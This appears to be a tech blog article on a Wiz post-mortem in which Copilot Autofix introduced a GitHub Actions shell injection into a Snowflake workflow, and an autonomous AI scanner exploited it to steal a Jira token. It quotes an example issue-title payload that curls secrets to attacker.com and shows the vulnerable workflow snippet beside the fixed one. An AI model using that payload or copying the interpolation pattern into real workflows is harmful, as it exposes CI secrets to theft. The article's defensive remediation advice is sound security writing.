By ByteBot
This week, Wiz published a post-mortem that every developer using AI coding tools in CI/CD needs to read. On June 18, 2026, GitHub Copilot Autofix co-authored a commit to Snowflake’s public snowflake-connector-net repository that removed an existing input sanitization pattern and replaced it with a direct shell injection vulnerability. Five days later, Wiz’s autonomous Red Agent discovered the flaw, crafted an exploit, and exfiltrated Snowflake’s internal Jira credentials—all without a single human on the attacking side. Wiz disclosed the full details on August 17, and the story is already at 264 points on Hacker News.
What Copilot Changed — and Why It Mattered
The vulnerable commit was PR #1218 (SNOW-2069227: Update jira workflows), co-authored by Copilot Autofix. The change looked routine—updating how the workflow processes GitHub issue data to create Jira tickets. However, Copilot removed the existing safe pattern using environment variables and jq parsing, and replaced it with direct context variable interpolation inside a shell run: block.
The difference matters enormously. The safe approach passes user-controlled data through an intermediate environment variable, so the shell never evaluates it as a command. The vulnerable approach inlines the expression directly, which means a malicious issue title like '; curl https://attacker.com -d $(cat /run/secrets) # breaks out of the echo and executes arbitrary commands in the runner environment.
# VULNERABLE (what Copilot Autofix introduced)
- name: Process issue
run: |
TITLE=$(echo '${{ github.event.issue.title }}')
# SAFE (what Snowflake's fix implemented)
- name: Process issue
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
TITLE=$(echo "$ISSUE_TITLE" | jq -r '.')A second flaw compounded the damage: the workflow’s authorization check queried github.event.pull_request.user.login—a property that only exists on pull request events, not issue events. Since this workflow processed issues, that property evaluated to an empty string, bypassing the intended permission gate entirely. Copilot violated GitHub’s own documented best practice, published in July 2025, that explicitly forbids this pattern.
The AI Attacker Needed No Human Help
Wiz Red Agent is an autonomous AI security scanner, launched in April 2026, that scans public repositories and APIs for exploitable vulnerabilities. Unlike signature-based tools, it reasons through application logic and adapts its approach in real time. On June 23—five days after the vulnerability landed—Red Agent found the Snowflake workflow during a routine public repository scan.
What happened next is the part that should concern developers most. Red Agent crafted a malicious GitHub issue title, submitted it to the public repository, and used the resulting command execution to exfiltrate a Jira API token via an out-of-band callback. When an initial payload failed due to shell syntax issues, the agent autonomously analyzed the error and adjusted its approach—no human guidance required. The exfiltrated token authenticated as qa@snowflake.net, granting read access to Snowflake’s engineering, security compliance, and bug bounty tracking projects. The Register has a full breakdown of the exploitation chain.
Related: Ghostjacking: Your AI Coding Agent Is the Attack Surface
Snowflake patched the vulnerable workflow the same day Wiz reported it; credentials were rotated within 24 hours. Audit logs confirmed no unauthorized third parties accessed the system during the five-day window. Wiz deleted all accessed data. By the numbers, the incident looks contained—but the process failure it exposed is not.
Your Review Process Has a Structural Gap
Snowflake’s post-incident statement didn’t mince words: “Human code review isn’t sufficient to quickly detect vulnerabilities—especially as developers increasingly use AI.” That’s a significant admission. Snowflake has a real security team. The vulnerability was in a public repository. It still slipped through.
The reason is structural. Copilot Autofix generates fix suggestions fast enough that review fatigue sets in—teams start treating these like rubber-stamp PRs. Meanwhile, AI security tools like Wiz Red Agent can scan hundreds of thousands of repositories and adapt their exploits in real time. In Red Agent’s first month of availability, 70% of organizations that enabled it found a High or Critical vulnerability they had no idea existed. The asymmetry is stark: your attackers now have AI that moves faster than your human reviewers.
Three Things to Fix Before Your Next AI Commit
First, treat AI-generated changes to CI/CD configuration files the same way you treat third-party code: with a dedicated security review gate, not a quick eyeball. Autofix suggestions to workflow YAML deserve the same scrutiny as a vendor-supplied script. Second, never interpolate ${{ github.event.* }} or any user-controlled context directly inside a run: block—always use the intermediate environment variable pattern shown above. Third, add static analysis for GitHub Actions misconfigurations to your CI pipeline. zizmor is an open-source tool that catches this exact class of vulnerability before it ships.
The broader lesson is harder to operationalize but more important: the speed benefit of AI coding assistants is only useful if the output is correct. Accepting a Copilot suggestion to fix a security issue, without verifying that the fix doesn’t introduce a different one, inverts the value proposition entirely.
Key Takeaways
- GitHub Copilot Autofix introduced a shell injection vulnerability in Snowflake’s GitHub Actions workflow on June 18—violating GitHub’s own documented best practice from 2025.
- Wiz Red Agent found and exploited it autonomously in five days, with no human involvement on the attacker side.
- The “introduce vulnerability → human reviews → human patches” timeline no longer holds when AI attackers can compress the exploitation window to days.
- Immediate fix: never interpolate user-controlled GitHub context variables directly in
run:blocks—use intermediate environment variables viaenv:blocks instead. - Add zizmor or equivalent static analysis to catch workflow injection issues before they reach production.
